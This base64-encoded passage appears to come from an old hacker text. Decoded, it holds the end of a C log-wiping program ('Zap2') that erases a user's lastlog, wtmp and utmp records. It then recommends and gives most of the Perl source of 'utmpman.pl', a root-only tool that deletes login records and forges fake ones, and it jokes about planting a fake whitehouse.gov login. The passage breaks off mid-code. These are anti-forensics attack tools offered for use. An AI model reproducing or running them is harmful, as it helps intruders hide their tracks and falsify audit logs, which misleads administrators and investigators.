bGwsIHNpemVvZiggbmV3bGwgKSk7DQogICAgICAgICAgICBjbG9zZShmKTsNCiAgICAgICAgfQ0K IA0KICAgIH0gZWxzZSBwcmludGYoIiVzOiA/XG4iLHdobyk7DQp9DQogDQptYWluKGFyZ2MsYXJn dikNCmludCBhcmdjOw0KY2hhciAqYXJndltdOw0Kew0KICAgIGlmIChhcmdjPT0yKSB7DQogICAg ICAgIGtpbGxfbGFzdGxvZyhhcmd2WzFdKTsNCiAgICAgICAga2lsbF93dG1wKGFyZ3ZbMV0pOw0K ICAgICAgICBraWxsX3V0bXAoYXJndlsxXSk7DQogICAgICAgIHByaW50ZigiWmFwMiFcbiIpOw0K ICAgIH0gZWxzZQ0KICAgIHByaW50ZigiRXJyb3IuXG4iKTsNCn0NCi0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLSBjdXQgaGVyZQ0KIEFub3RoZXIgZ3JlYXQgcHJvZ3JhbSBmb3IgY2xlYW5pbmcg dXRtcCwgd3RtcCwgYW5kIGNoZWNraW5nIHByb2Nlc3NlcyBpcyB1dG1wbWFuLnBsDQpJdCB3aWxs IGFsc28gbGV0IHlvdSBpbnNlcnQgbGluZXMgaW4gd3RtcC4gIFNvIGlmIHlvdSBuZWVkIHRvIHBs YXkgeW91DQpjYW4gYWRkIGNsaW50b24ud2hpdGVob3VzZS5nb3YgbG9nZ2luZyBpbnRvIHBvcnQg dHR5cDMgYW5kIHNob3cgaGUgc3RheWVkIG9uIHRoZSBzeXN0ZW0gZm9yIGEgZmV3IGhvdXJzIQ0K IFlvdSBtdXN0IGJlIHJvb3QgdG8gcnVuIHRoZSBzY3JpcHQsIGFuZCB0aGV5IG5lZWQgcGVybCA1 LjAwMysgb24gdGhpZXIgc3lzdGVtLiAgQWZ0ZXIgc3RhcnRpbmcgdGhlIHNjcmlwdCBqdXN0IHR5 cGUgaGVscC4NCg0KSGVyZSBhcmUgc29tZSBvZiB0aGUgYmFzaWMgY29tbWFuZHM6DQoNCnN0YXJ0 cyBieSBsb2FkaW5nIHd0bXANCg0KZGVsZXRlIHVzZXIgdXNlcm5hbWUNCmRlbGV0ZSBob3N0IGhv c3Rhbm1lDQp3cml0ZQ0KDQpyZWFkIHd0bXANCmRlbGV0ZSB1c2VyIHVzZXJuYW1lDQpkZWxldGUg aG9zdCBob3N0bmFtZQ0Kd3JpdGUNCg0KZG8gaGVscCBmb3IgdGhlIHJlc3QgLi4uIHRoZSBiZXN0 IHV0bXAsd3RtcCBlZGl0b3IgYXJvdW5kIQ0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXN0YXJ0 IG9mIHV0bXBtYW4ucGwNCiMhL3Vzci9iaW4vcGVybCAtdw0KIw0KIyBWYXJpYWJsZSBkZWZpbmVz Lg0KbXkoJHV0bXBfbG9jYXRpb24pID0gIi92YXIvcnVuL3V0bXAiOw0KbXkoJHd0bXBfbG9jYXRp b24pID0gIi92YXIvbG9nL3d0bXAiOw0KbXkoJHNoZWxsc19sb2NhdGlvbikgPSAiL2V0Yy9zaGVs bHMiOw0KbXkoJHR0eWJhc2UpID0gInR0eSI7DQpteSgkdHR5cmFuZ2UpID0gInBxcnMiOyAgICAg ICAgICAgICAgICAgIyBUVFlyYW5nZSBzdGFuZGFyZCBvbiBtb3N0IGxpbnV4IHN5c3RlbXMuDQpt eSgkdHR5cG9ydHMpID0gIjAxMjM0NTY1NzY4OWFiY2ZlZiI7ICAgIyBUVFlwb3J0cyBzdGFuZGFy ZCBvbiBtb3N0IGxpbnV4IHN5c3RlbXMuDQoNCiMgR2xvYmFsIGluaXRpYWxpemF0aW9ucy4NCm15 KCRhY3RpdmVfZmlsZSkgPSAiIjsNCm15KCVlbnRyaWVzKSA9IHt9Ow0KbXkoQGNtZGxpbmUpID0g KCk7DQpteShAc2hlbGxzKSA9ICgpOw0KDQojIERpc3BsYXkgYmFubmVyLg0KcHJpbnQgIlxudXRt cCBNYW5hZ2VyIHYwLjhcblxuIjsNCg0KIyBBY2Nlc3MgY2hlY2suDQpkaWUoInV0bXBtYW4gOjog WW91IG11c3QgYmUgcm9vdCB0byBydW4gdGhpcyBhcHBsaWNhdGlvbiFcbiIpIHVubGVzcyAoJD4g PT0gMCk7DQoNCiMgUmVhZCBpbiB2YWxpZCBzaGVsbHMuDQppZiAoZGVmaW5lZCgkc2hlbGxzX2xv Y2F0aW9uKSkgew0KICBvcGVuKFNIRUxMRklMRSwgIjwkc2hlbGxzX2xvY2F0aW9uIik7DQogIEBz aGVsbHMgPSA8U0hFTExGSUxFPjsNCiAgY2xvc2UoU0hFTExGSUxFKTsNCn0NCiMgUHJvY2VzcyAi YmFzZW5hbWUiIG9mIGVhY2ggc2hlbGwuDQpAc2hlbGxzID0gbWFwKCB7IC8oW15cL1xuXSspXG4q JC87ICQxOyB9IEBzaGVsbHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpw cmludCBwdXNoKEBzaGVsbHMpIC4gIiB2YWxpZCBzaGVsbHMgaW4gJHNoZWxsc19sb2NhdGlvbjog QHNoZWxsc1xuIiBpZiAoZGVmaW5lZChAc2hlbGxzKSk7DQpyZWFkZmlsZSgiJHV0bXBfbG9jYXRp b24iKTsNCnByaW50KCJcbnV0bXBtYW46ICRhY3RpdmVfZmlsZT4gIik7DQp3aGlsZSAoPFNURElO Pikgew0KICBwcm9jZXNzX2NtZChzcGxpdCk7DQogIHByaW50KCJcbnV0bXBtYW46ICRhY3RpdmVf ZmlsZT4gIik7DQp9DQoNCnN1YiBwcm9jZXNzX2NtZCB7DQogIHJldHVybiBpZiAoIWRlZmluZWQo QF8pKTsNCiAgbXkoQGxpbmUpID0gbWFwIHsgbGMoJF8pIH0gQF87DQogIA0KICAkXyA9IHNoaWZ0 KEBsaW5lKTsNCiAgU1dJVENIOiB7DQogICAgICAgIC9eY2hlY2skLyAgICAgJiYgZG8gew0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgY2hlY2tfZnVuYyhAbGluZSk7DQogICAgICAgICAgICAg ICAgICAgICAgICAgICBsYXN0IFNXSVRDSDsNCiAgICAgICAgICAgICAgICAgICAgICAgICB9Ow0K DQogICAgICAgIC9eZGVsZXRlJC8gICAgJiYgZG8gew0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgZGVsX2Z1bmMoQGxpbmUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgbGFzdCBTV0lU Q0g7DQogICAgICAgICAgICAgICAgICAgICAgICAgfTsgIA0KICAgICAgICAgICAgICAgICAgICAg ICAgIA0KICAgICAgICAvXmhlbHAkLyAgICAgICYmIGRvIHsNCiAgICAgICAgICAgICAgICAgICAg ICAgICAgIGhlbHBfZnVuYygpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgbGFzdCBTV0lU Q0g7ICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgIH07DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAvXmluc2VydCQvICAgICYmIGRvIHsN CiAgICAgICAgICAgICAgICAgICAgICAgICAgIGluc19mdW5jKEBsaW5lKTsNCiAgICAgICAgICAg ICAgICAgICAgICAgICAgIGxhc3QgU1dJVENIOw0KICAgICAgICAgICAgICAgICAgICAgICAgIH07 IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgL15saXN0 JC8gICAgICAmJiBkbyB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICBsaXN0X2Z1bmMoQGxp bmUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgbGFzdCBTV0lUQ0g7DQogICAgICAgICAg ICAgICAgICAgICAgICAgfTsNCg0KICAgICAgICAvXnJlYWQkLyAgICAgICYmIGRvIHsNCiAgICAg ICAgICAgICAgICAgICAgICAgICAgIHJlYWRfZnVuYyhAbGluZSk7DQogICAgICAgICAgICAgICAg ICAgICAgICAgICBsYXN0IFNXSVRDSDsNCiAgICAgICAgICAgICAgICAgICAgICAgICB9Ow0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAvXndyaXRlJC8gICAg ICYmIGRvIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHdyaXRlX2Z1bmMoQGxpbmUpOw0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgbGFzdCBTV0lUQ0g7DQogICAgICAgICAgICAgICAg ICAgICAgICAgfTsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAvXnF1aXR8ZXhpdCQvICYmIGV4aXQoMCk7 DQogICAgICAgIA0KICAgICAgICAjIERFRkFVTFQuIA0KICAgICAgICBwcmludCAoIkludmFsaWQg Y29tbWFuZC5cbiIpOyAgICAgICANCiAgfQ0KfQ0KDQoNCiMgSEVMUA0KDQpzdWIgaGVscF9mdW5j IHsNCiAgcHJpbnQgPDwgIkVPTSI7DQoNCnV0bXBNYW5hZ2VyIEhlbHANCi0tLS0tLS0tLS0tLS0t LS0NCg0KTm90ZTogLSA8bj4gaXMgYW4gYXJndW1lbnQuDQogICAgICAtIFtpZD1dIGlzIGEgdG9r ZW4gd2hpY2ggZXhwZWN0cyBhIHZhbHVlIGFzIHBhcnQgb2YgY29tbWFuZA0KICAgICAgICAoaWUs IGluc2VydCBpZD1wNSB1c2VyPXJvb3QgMTEvMjMvOTYpLiBTZWUgdGhlIGluc2VydCBjb21tYW5k Lg0KICAgICAgLSBBIGxpbmUgaXMgdGhlIGZ1bGwgbmFtZSB0byB0aGUgdHR5IHBvcnQsIGllIHR0 eXAwLg0KICAgICAgLSBBbiBpZCBpcyB0aGUgKnVuaXF1ZSogcmVwcmVzZW50YXRpb24gb2YgdGhl IHBvcnQNCiAgICAgICAgKHdpdGhvdXQgdGhlIHR0eSwgZXRjKSwgaWUgInAwIiAoZm9yIHR0eXAw KS4NCg0KICBjaGVjaw0KICAgIC0gUGVyZm9ybSB1c2VyIGNvbnNpc3RhbmN5IGNoZWNrLiBVc2Ug dGhpcyB0byBtYWtlIHN1cmUgdGhhdCB0aGUgZGF0YSBpbg0KICAgICAgdXRtcCBhZ3JlZXMgd2l0 aCB3aG8gaXMgYWN0dWFsbHkgb24gdGhlIG1hY2hpbmUuIFRoaXMgaXMgdXNlZnVsIGluDQogICAg ICBkZXRlcm1pbmluZyBpZiBhIHVzZXIgaXMgb25saW5lIHdpdGggaGlkZGVuIHBvcnRzLCBydW5u aW5nIG5vaHVwJ2QNCiAgICAgIHByb2Nlc3Nlcywgb3IgcnVubmluZyBpU2NyZWVuLg0KDQogIGRl bGV0ZSA8eD4tPHk+DQogICAgLSBEZWxldGUgZW50cmllcyAjeCB0byAjeS4NCg0KICBkZWxldGUg aG9zdCA8aG9zdD4NCiAgICAtIERlbGV0ZSAqYWxsKiBlbnRyaWVzIHdoaWNoIG1hdGNoIHRoZSBz dWJzdHJpbmcgPGhvc3Q+Lg0KDQogIGRlbGV0ZSBsaW5lfGlkIDxsaW5lfGlkPg0KICAgIC0gRGVs ZXRlIGVudHJ5IGNvbnRhaW5pbmcgPGxpbmU+IG9yIDxpZD4uDQoNCiAgaW5zZXJ0IHtpZD18bGlu ZT19IFt0eXBlPV0gW3VzZXI9XSBbaG9zdD1dIFtDb25uVGltZV0ge0xvZ29mZlRpbWV9DQogICAg LSBJbnNlcnQgYW4gZW50cnkgaW50byB1dG1wL3d0bXAgZmlsZXMgc3BlY2lmeWluZyBhbnkgY29t YmluYXRpb24NCiAgICAgIG9mIGlkL2xpbmUsIHR5cGUsIHVzZXJuYW1lLCBob3N0LCBjb25uZWN0 aW9uIHRpbWUsIGFuZCBsb2dvZmYgdGltZS4NCiAgICAgIChMb2dvZmZUaW1lIG9ubHkgdmFsaWQg Zm9yIFdUTVAgZmlsZXMuKQ0KDQogIGxpc3QgaG9zdCA8aG9zdD4NCiAgICAtIExpc3QgYWxsIGVu dHJpZXMgbWF0Y2hpbmcgdGhlIHN1YnN0cmluZyA8aG9zdD4uDQoNCiAgbGlzdCBsaW5lfGlkIDxs aW5lfGlkPg0KICAgIC0gTGlzdCBhbGwgZW50cmllcyBtYXRjaGluZyA8bGluZT4gb3IgPGlkPi4N Cg0KICByZWFkIHV0bXB8d3RtcHw8ZmlsZW5hbWU+DQogICAgLSBSZWFkIGVudHJpZXMgZnJvbSBl aXRoZXIgZGVmYXVsdCB3dG1wLCBkZWZhdWx0IHV0bXAsIG9yIGFuIGFyYml0cmFyeQ0KICAgICAg ZmlsZW5hbWUuIE5vdGU6IGFyYml0cmFyeSBmaWxlbmFtZXMgTVVTVCBzdGFydCB3aXRoIGVpdGhl ciAidXRtcCIgb3INCiAgICAgICJ3dG1wIiB0byBiZSB1c2VkIHdpdGggdGhpcyBlZGl0b3IuIFJl bmFtZSBmaWxlcyAqb3V0c2lkZSogb2YgdGhpcw0KICAgICAgZWRpdG9yIGlmIG5lY2Vzc2FyeS4g SWYgcmVhZCBpcyBleGVjdXRlZCB3aXRob3V0IGFueSBhcmd1bWVudHMsIGl0DQogICAgICByZXJl YWRzIHRoZSBsYXN0IGdpdmVuIGZpbGVuYW1lLCB3aGljaCBpcyBkaXNwbGF5ZWQgb24gdGhlIHBy b21wdC4NCg0KICB3cml0ZSB7ZmlsZW5hbWV9DQogICAgLSBXcml0ZSBlbnRyaWVzIHRvIGZpbGUg e2ZpbGVuYW1lfS4gSWYgd3JpdGUgaXMgZXhlY3V0ZWQgd2l0aG91dCBhbnkNCiAgICAgIGFyZ3Vt ZW50cywgdGhlbiBlbnRyaWVzIHdpbGwgYmUgd3JpdHRlbiB0byB0aGUgbGFzdCBnaXZlbiBmaWxl bmFtZSwNCiAgICAgIHdoaWNoIGlzIGRpc3BsYXllZCBvbiB0aGUgcHJvbXB0Lg0KDQpFT00NCn0N Cg0KIyBERUxFVEUNCg0Kc3ViIGRlbF9mdW5jIHsNCiAgbXkoQHBhcmFtcykgPSBAXzsNCg0KICBp ZiAoIXB1c2goQF8pKSB7DQogICAgcHJpbnQoImRlbGV0ZSA6OiBOb3QgZW5vdWdoIHBhcmFtZXRl cnMuIFNlZSBcImhlbHBcIiBmb3Igc3ludGF4LlxuIik7DQogICAgcmV0dXJuIHVuZGVmOw0KICB9 IGVsc2lmICgkcGFyYW1zWzBdID1+IC9ob3N0fHVzZXJ8aWR8bGluZS8pIHsNCiAgICBkZWxfYnlf ZGF0YShAXyk7DQogIH0gZWxzaWYgKCRwYXJhbXNbMF0gPX4gbS9cZCotXGQrfFxkKy1cZCovKSB7 DQogICAgZGVsX2J5X3JhbmdlKCRwYXJhbXNbMF0pOw0KICB9IGVsc2lmICgkcGFyYW1zWzBdID1+ IG0vXihcZCspJC8pIHsNCiAgICBkZWxfYnlfcmFuZ2UoIiQxLSQxIik7DQogIH0NCiAgDQogICMg UmVudW1iZXIgbGlzdCBhZnRlciBkZWxldGUgb3BlcmF0aW9uLg0KICByZXN5bmMoKTsNCn0NCg0K DQpzdWIgZGVsX2J5X3JhbmdlIHsNCiAgbXkoJHJhbmdlKT1zaGlmdDsNCiAgJHJhbmdlID1+IG0v KFxkKykqLShcZCspKi87DQogIG15KCRsbywgJGhpLCAkY291bnQpPSgkMSwgJDIsIDApOw0KICAN CiAgJGxvID0gMCBpZiAoIWRlZmluZWQoJGxvKSk7DQogICRoaSA9IHNjYWxhcihrZXlzKCVlbnRy aWVzKSkgaWYgKCFkZWZpbmVkKCRoaSkpOw0KICANCiAgZm9yZWFjaCAoc29ydCggeyAkYSA8PT4g JGIgfSBrZXlzKCVlbnRyaWVzKSkpIHsNCiAgICBpZiAoKCRfID49ICRsbykgJiYgKCRfIDw9ICRo aSkpIHsNCiAgICAgIGRlbGV0ZSgkZW50cmllc3skX30pOw0KICAgICAgJGNvdW50Kys7DQogICAg fQ0KICB9DQogIHByaW50ICIkY291bnQgZW50cmllcyBkZWxldGVkLlxuIjsNCn0gICAgICAgICAg ICAgICANCg0KDQpzdWIgZGVsX2J5X2RhdGEgew0KICBteSgkb3AsICRkYXRhKSA9IEBfOw0KICBt eSgkY291bnQpID0gMDsNCg0KICBpZiAoKGxlbmd0aCgkZGF0YSkgPCA1KSAmJiAoJG9wIGVxICJo b3N0IikpIHsNCiAgICBwcmludCAiTXVzdCBzcGVjaWZ5IGF0IGxlYXN0IDUgY2hhcmFjdGVycyBm b3IgZGVsZXRlIGhvc3RtYXNrLlxuIjsNCiAgICByZXR1cm4gdW5kZWY7DQogIH0gZWxzaWYgKCgo bGVuZ3RoKCRkYXRhKSA+IDQpICYmICgkb3AgZXEgImlkIikpfHwNCiAgICAgICAgICAgKChsZW5n dGgoJGRhdGEpID4gMTEpICYmICgkb3AgZXEgImxpbmUiKSkpIHsNCiAgICBwcmludCAiSW52YWxp ZCAkb3Agc3BlY2lmaWVkLlxuIjsNCiAgICByZXR1cm4gdW5kZWY7DQogIH0NCiAgIyBOb3RlOiBJ ZiB3ZSBhcmUgZGVsZXRpbmcgYnkgdXNlciwgdGhlbiB1c2VyIG11c3QgbWF0Y2gsICpleGFjdGx5 KiENCiAgJGRhdGEgPSAiXiIgLiBwYWNrKCJhOCIsICRkYXRhKSAuICJcJCIgaWYgKCRvcCBlcSAi dXNlciIpOw0KICBmb3JlYWNoIChzb3J0KCB7ICRhIDw9PiAkYiB9IGtleXMoJWVudHJpZXMpKSkg ew0KICAgIGlmICgleyRlbnRyaWVzeyRffX0tPnskb3B9ID1+IG0vJGRhdGEvaSkgew0KICAgICAg ZGVsZXRlKCRlbnRyaWVzeyRffSk7DQogICAgICArKyRjb3VudDsNCiAgICB9DQogIH0NCiAgaWYg KCEkY291bnQpIHsNCiAgICBwcmludCAiTm8gJG9wIGVudHJpZXMgbWF0Y2hpbmcgJGRhdGEuXG4i Ow0KICB9IGVsc2Ugew0KICAgIHByaW50ICIkY291bnQgZW50cmllcyBkZWxldGVkLlxuIjsNCiAg fQ0KfQ0KDQoNCiMgSU5TRVJUDQoNCiMgRGF0ZTEgVGltZTEgPSBEYXRlVGltZTEgPT4gbW0vZGQv W2NjXXl5WzpoaDptbVs6c3NdXQ0KIyBEYXRlMiBUaW1lMiA9IERhdGVUaW1lMiA9PiAoc2VlIGFi b3ZlKQ0KIyB1c2VyPTx1c2VybmFtZT4NCiMgaG9zdD08aG9zdG5hbWU+DQojIGlkPTxpZD4gfCBs aW5lPTxsaW5lPg0KIw0KIyB1dG1wOg0KIyBpbnNlcnQge2lkPXxsaW5lPX0gW3R5cGU9XSBbdXNl cj1dIFtob3N0PV0gW0RhdGVUaW1lXQ0KIyB3dG1wOg0KIyBpbnNlcnQge2lkPXxsaW5lPX0gW3Vz ZXI9XSBbaG9zdD1dIFtEYXRlVGltZTFdIHtEYXRlVGltZTJ9DQoNCnN1YiBpbnNfZnVuYyB7DQog IG15KCVjbWRvcHQpPXt9Ow0KICBteSgkZGF0ZXRpbWUxLCAkZGF0ZXRpbWUyLCAkZ21kYXRlLCAk Z21kYXRlMik7DQoNCiAgIyBHZXQgcmFuZG9tIHBpZCBvdXQgb2YgdGhlIHdheS4NCiAgJGNtZG9w dHsicGlkIn0gPSBpbnQocmFuZCgzMjY1NikrMTAwKTsNCiAgJGNtZG9wdHsiYWRkciJ9ID0gcGFj aygiYTQiLCAiIik7DQoNCiAgIyBHZXQgY29tbWFuZCBvcHRpb25zLg0KICBmb3JlYWNoIChAXykg ew0KICAgIGlmICgvPS8pIHsNCiAgICAgIGxvY2FsKCRrZXksICR2YWx1ZSk9c3BsaXQoLz0vKTsN CiAgICAgICRjbWRvcHR7JGtleX0gPSAkdmFsdWU7DQogICAgfSBlbHNlIHsNCiAgICAgIGlmICgh ZGVmaW5lZCgkZGF0ZXRpbWUxKSkgew0KICAgICAgICAkZGF0ZXRpbWUxID0gJF87DQogICAgICAg IG5leHQ7DQogICAgICB9DQogICAgICBpZiAoIWRlZmluZWQoJGRhdGV0aW1lMikpIHsNCiAgICAg ICAgJGRhdGV0aW1lMiA9ICRfIDsNCiAgICAgICAgbmV4dDsNCiAgICAgIH0NCiAgICAgIHByaW50 ICJpbnNlcnQgOjogSW52YWxpZCBvcHRpb25zIHNwZWNpZmllZC4gUGxlYXNlIHNlZSBcImhlbHBc IiBmb3Igc3ludGF4LlxuIjsNCiAgICAgIHJldHVybiB1bmRlZjsNCiAgICB9DQogIH0NCg0KICAj IENoZWNrIGZvciBhbiBpbGxlZ2FsIHBhaXIgb3IgaWxsZWdhbCBvcHRpb24uDQogIGZvcmVhY2gg KGtleXMoJWNtZG9wdCkpIHsNCiAgICBpZiAoISgvXmhvc3R8aWR8bGluZXx0eXBlfHVzZXJ8YWRk ciQvKSkgew0KICAgICAgcHJpbnQgImluc2VydCA6OiBJbnZhbGlkIG9wdGlvbnMgc3BlY2lmaWVk LiBQbGVhc2Ugc2VlIFwiaGVscFwiIGZvciBzeW50YXguXG4iOw0KICAgICAgcmV0dXJuIHVuZGVm Ow0KICAgIH0NCiAgICBpZiAoKCRfIGVxICJsYXN0IikgJiYgKCRhY3RpdmVfZmlsZSAhfiAgbSEv KnV0bXBbXi9dKiQhaSkpIHsNCiAgICAgIHByaW50ICJpbnNlcnQgOjogTEFTVCBvcHRpb24gb25s eSB2YWxpZCBmb3IgdXRtcCBmaWxlcy5cbiI7DQogICAgICByZXR1cm4gdW5kZWY7DQogICAgfSAg ICAgDQogIH0NCg0KICAjIEdldCBkYXRlIGluIHNlY29uZHMgc2luY2UgMTk3MC4NCiAgJGdtZGF0 ZSA9IFNlY3NTaW5jZTE5NzAoJGRhdGV0aW1lMSk7DQoNCiAgIyBHZXQgZW5kaW5nIGRhdGUgaW4g c2Vjb25kcyBzaW5jZSAxOTcwLg0KICAkZ21kYXRlMiA9IFNlY3NTaW5jZTE5NzAoJGRhdGV0aW1l MikgaWYgKGRlZmluZWQoJGRhdGV0aW1lMikpOw0KDQogIGlmICghZGVmaW5lZCgkZ21kYXRlKSB8 fCAoIWRlZmluZWQoJGdtZGF0ZTIpICYmIGRlZmluZWQoJGRhdGV0aW1lMikpKSB7DQogICAgcHJp bnQgImluc2VydCA6OiBJbnZhbGlkIGRhdGUgc3BlY2lmaWVkLlxuIjsNCiAgICByZXR1cm4gdW5k ZWY7DQogIH0NCg0KICBpZiAoZGVmaW5lZCgkZ21kYXRlMikpIHsNCiAgICBpZiAoJGdtZGF0ZTIg PCAkZ21kYXRlKSB7DQogICAgICBwcmludCAiaW5zZXJ0IDo6IEZpcnN0IGRhdGUvdGltZSBtdXN0 IGJlICpsYXRlciogdGhhbiBzZWNvbmQgZGF0ZS90aW1lLlxuIjsNCiAgICAgIHJldHVybiB1bmRl ZjsNCiAgICB9DQogIH0NCg0KICBpZiAoZGVmaW5lZCgkY21kb3B0eyJpZCJ9KSAmJiBkZWZpbmVk KCRjbWRvcHR7ImxpbmUifSkpIHsNCiAgICBwcmludCAiaW5zZXJ0IDo6IEluc2VydCBieSBMSU5F IG9yIElEIG9ubHkuIFBsZWFzZSBkbyBub3Qgc3BlY2lmeSBib3RoLlxuIjsNCiAgICByZXR1cm4g dW5kZWY7DQogIH0NCg0KICBteSgkb3ApOw0KDQogIGlmICghZGVmaW5lZCgkY21kb3B0eyJpZCJ9 KSkgew0KICAgICRjbWRvcHR7ImlkIn0gPSAkY21kb3B0eyJsaW5lIn07DQogICAgJG9wID0gImxp bmUiOw0KICAgIGlmICghKCRjbWRvcHR7ImlkIn0gPX4gcy9eJHR0eWJhc2UvLykpIHsgDQogICAg ICBwcmludCAiaW5zZXJ0IDo6IEludmFsaWQgbGluZSBzcGVjaWZpZWQuXG4iOyANCiAgICAgIHJl dHVybiB1bmRlZjsgDQogICAgfQ0KICB9IGVsc2Ugew0KICAgICRjbWRvcHR7ImxpbmUifSA9ICR0 dHliYXNlIC4gJGNtZG9wdHsiaWQifTsNCiAgICAkb3AgPSAiaWQiOw0KICB9IA0KDQogIGlmICgh KGRlZmluZWQoJGNtZG9wdHsibGluZSJ9KSB8fCBkZWZpbmVkKCRjbWRvcHR7ImlkIn0pKSkgew0K ICAgIHByaW50ICJpbnNlcnQgOjogTmVpdGhlciBMSU5FIG5vciBJRCB2YWx1ZSBmb3VuZC4gU2Vl IFwiaGVscFwiIGZvciBzeW50YXguXG4iOw0KICAgIHJldHVybiB1bmRlZjsNCiAgfQ0KICAgIA0K ICBteSgkc2VhcmNoZGF0YSkgPSAoJGFjdGl2ZV9maWxlID1+IG0hLyp1dG1wW14vXSokIWkpID8g IA0KICAgIChwYWNrKCgkb3AgZXEgImxpbmUiKSA/ICJhMTIiIDogImE0IiwgJGNtZG9wdHskb3B9 KSk6JGNtZG9wdHskb3B9Ow0KICBteSgkZXBvczEsICRucG9zMSwgJGVwb3MyLCAkbnBvczIpID0g KCk7DQogIG15KCRvbGRwb3MsICRjb3VudCk9KCIiLCAwKTsNCg0KICBmb3JlYWNoIChzb3J0KCB7 ICRhIDw9PiAkYiB9IGtleXMoJWVudHJpZXMpKSkgew0KICAgIGlmICgkYWN0aXZlX2ZpbGUgPX4g bSEvKnV0bXBbXi9dKiQhaSkgew0KICAgICAgIyBIYW5kbGUgdXRtcCBpbnNlcnRpb24gYnkgbGlu ZSBpbnNlcnRpb24uDQogICAgICBpZiAoJXskZW50cmllc3skX319LT57JG9wfSBlcSAkc2VhcmNo ZGF0YSkgew0KICAgICAgICBwcmludGYgKCJpbnNlcnQgOjogJG9wICRzZWFyY2hkYXRhIGFscmVh ZHkgZXhpc3RzIGF0IHBvc2l0aW9uICRfXG4iKTsNCiAgICAgICAgIyBUaGlzIG5lZWRzIHRvIGNo ZWNrIGV2ZXJ5IG9wdGlvbiBpbiAlY21kb3B0IGZvciBkZWZpbmVkIG9yIG51bGwuDQogICAgICAg ICRjb3VudCA9IDA7DQogICAgICAgIGZvcmVhY2ggKHF3KHVzZXIgaG9zdCB0aW1lKSkgew0KICAg ICAgICAgIGlmIChkZWZpbmVkKCRjbWRvcHR7JF99KSkgew0KICAgICAgICAgICAgJGNvdW50Kysg aWYgKCRjbWRvcHR7JF99IG5lICIiKTsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAg aWYgKCEkY291bnQpIHsNCiAgICAgICAgICBwcmludGYgKCJpbnNlcnQgOjogTm8gb3RoZXIgZGF0 YSBzcGVjaWZpZWQuIEVudHJ5IHVuY2hhbmdlZC5cbiIpOw0KICAgICAgICAgIHJldHVybiB1bmRl ZjsNCiAgICAgICAgfQ0KICAgICAgICBsYXN0Ow0KICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAg ICAjIEhhbmRsZSB3dG1wIGluc2VydGlvbiBieSB0aW1lIHBvc2l0aW9uLiAoTWVzc3kpDQogICAg ICAkZXBvczEgPSAkb2xkcG9zIGlmIChkZWZpbmVkKCRucG9zMSkgJiYgIWRlZmluZWQoJGVwb3Mx KSk7DQogICAgICAkbnBvczEgPSAkXyBpZiAoJXskZW50cmllc3skX319LT57InRpbWUifSA+ICRn bWRhdGUpOw0KICAgICAgbGFzdCBpZiAoIWRlZmluZWQoJGdtZGF0ZTIpICYmIGRlZmluZWQoJGVw b3MxKSk7DQogICAgICAkZXBvczIgPSAkb2xkcG9zIGlmIChkZWZpbmVkKCRucG9zMikpOyANCiAg ICAgICRucG9zMiA9ICRfIGlmICgleyRlbnRyaWVzeyRffX0tPnsidGltZSJ9ID4gJGdtdGltZTIp Ow0KICAgICAgbGFzdCBpZiAoZGVmaW5lZCgkZXBvczIpKTsNCiAgICB9DQogICAgJG9sZHBvcyA9 ICRfOw0KICB9DQoNCiAgIyBTZXQgYW55IHVuc3BlY2lmaWVkIGRlZmF1bHRzLg0KICAkY21kb3B0 eyJ1c2VyIn0gPSBwYWNrKCJhOCIsICIiKSAgaWYgIWRlZmluZWQoJGNtZG9wdHsidXNlciJ9KTsN CiAgJGNtZG9wdHsiaG9zdCJ9ID0gcGFjaygiYTE2IiwgIiIpIGlmICFkZWZpbmVkKCRjbWRvcHR7 Imhvc3QifSk7DQogICRjbWRvcHR7InR5cGUifSA9IDcgICAgICAgICAgICAgICBpZiAhZGVmaW5l ZCgkY21kb3B0eyJ0eXBlIn0pOw0KDQogICMgRGV0ZXJtaW5lIGVuZCBvZiBsaXN0IGluc2VydGlv biBwb3NpdGlvbnMuIChJRSwgZGF0ZXMgZW50ZXJlZCBhcmUgYWZ0ZXINCiAgIyBkYXRlcyBpbiB3 dG1wIGZpbGUgb3IgbGluZS9pZCBub3QgZm91bmQgaW4gdXRtcCBmaWxlLg0KICAkZXBvczEgPSAo c2NhbGFyKGtleXMoJWVudHJpZXMpKSArIDEpIGlmICghZGVmaW5lZCgkbnBvczEpKTsNCiAgaWYg KGRlZmluZWQoJGRhdGV0aW1lMikpIHsNCiAgICAkZXBvczIgPSAoc2NhbGFyKGtleXMoJWVudHJp ZXMpKSArIDEpIGlmICghZGVmaW5lZCgkbnBvczIpKTsNCiAgICArKyRlcG9zMiBpZiAoZGVmaW5l ZCgkZ210aW1lMikgJiYgIWRlZmluZWQoJG5wb3MxKSk7DQogIH0NCg0KICAjIFBhcnNlIGluc2Vy dCBkYXRhIGFuZCBpbnNlcnQgZW50cnkuDQogICRlcG9zMSA9IHNwcmludGYoIiU3LjNmIiwgKCRu cG9zMSAtICRlcG9zMSkvMikgaWYgKGRlZmluZWQoJG5wb3MxKSk7DQogICRlcG9zMiA9IHNwcmlu dGYoIiU3LjNmIiwgKCRucG9zMiAtICRlcG9zMikvMikNCiAgICBpZiAoZGVmaW5lZCgkbnBvczIp 